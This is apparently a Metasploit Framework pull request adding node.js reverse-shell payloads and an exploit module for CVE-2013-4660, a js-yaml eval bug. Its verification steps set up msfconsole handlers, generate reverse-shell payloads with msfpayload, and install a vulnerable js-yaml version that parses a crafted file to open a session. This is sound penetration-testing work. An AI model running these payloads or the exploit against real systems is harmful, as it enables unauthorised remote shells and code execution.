rapid7/metasploit-framework — pull request #2377 by jvennix-r7 (2013-09-17 04:29:45+00:00)
Title: CVE-2013-4660 and two node.js payloads

Adds two payloads (tcp and tcp_ssl) for node.js javascript eval exploits. Also adds a module for CVE-2013-4660, an eval bug in the `js-yaml` npm library < 2.0.5 that allowed code execution. [Here is a list](http://registry.npmjs.org/-/_view/dependedUpon?group_level=3&startkey=%5B%22js-yaml%22%5D&endkey=%5B%22js-yaml%22%2C%7B%7D%5D&skip=0&limit=1000) of other modules in npm that dep `js-yaml`. I based the payloads off of @sempervictus's PR #1489, but fixed some nomenclature issues, made it work on windows, and added a non-ssl payload.

#### Verification steps
##### 1. Testing the payloads
- [ ] Download and install [nodejs](https://github.com/joyent/node/wiki/Installing-Node.js-via-package-manager)
- [ ] Spin up a handler for the tcp payload:

```
msf> use exploit/multi/handler
msf> set payload nodejs/shell_reverse_tcp
msf> set LHOST
msf> set LPORT 4444
msf> rexploit -j
```
- [ ] Generate the nodejs/shell_reverse_tcp payload using `msfpayload`:

```
$ ./msfpayload nodejs/shell_reverse_tcp LHOST= LPORT=4444 R
```
- [ ] Copy the output of the above command (if you're on osx you can simply pipe the cmd to `pbcopy`), then run the `node` command to enter the node repl, and paste the command in.
- [ ] Ensure you get a session.
- [ ] Spin up a handler for the tcp ssl payload:

```
msf> use exploit/multi/handler
msf> set payload nodejs/shell_reverse_tcp_ssl
msf> set LHOST
msf> set LPORT 6666
msf> rexploit -j
```
- [ ] Generate the nodejs/shell_reverse_tcp_ssl payload using `msfpayload`:

```
$ ./msfpayload nodejs/shell_reverse_tcp_ssl LHOST= LPORT=6666 R
```
- [ ] Copy the output of the above command (if you're on osx you can simply pipe the cmd to `pbcopy`), then run the `node` command to enter the node repl, and paste the command in.
- [ ] Ensure you get a session.

##### 2. Testing the exploit

- [ ] Run the js_yaml fileformat exploit. Remember where the file is output to:

```
msf> use exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
msf> set payload nodejs/shell_reverse_tcp_ssl
msf> set LHOST
msf> set LPORT 6666
msf> exploit
```
- [ ] Create a local temp dir, we'll call it `~/nodetest`. Save the following script in `~/nodetest` as `parse.js`:

```
#!/usr/bin/env node
var yaml = require('js-yaml');
var ymlfile = require('fs').readFileSync(process.argv[process.argv.length-1]).toString();
yaml.load(ymlfile);
```
- [ ] Now install the js-yaml module and run the script:

```
$ cd ~/nodetest
$ npm i js-yaml@2.0.4
$ node parse.js ~/.msf4/local/msf.yml
```
- [ ] You should get a session

Note: Nodejs is one of many commonjs implementations. A commonjs payload/arch would be better, and in fact this payload *almost* works across multiple implementation, but each implementation differs slightly when it comes to load paths. So we will settle for the most popular `node.js` implementation, which I think also has the sanest load path structure. Other server-side commonjs implementations include silkjs and teajs, but neither of these have seen many updates lately.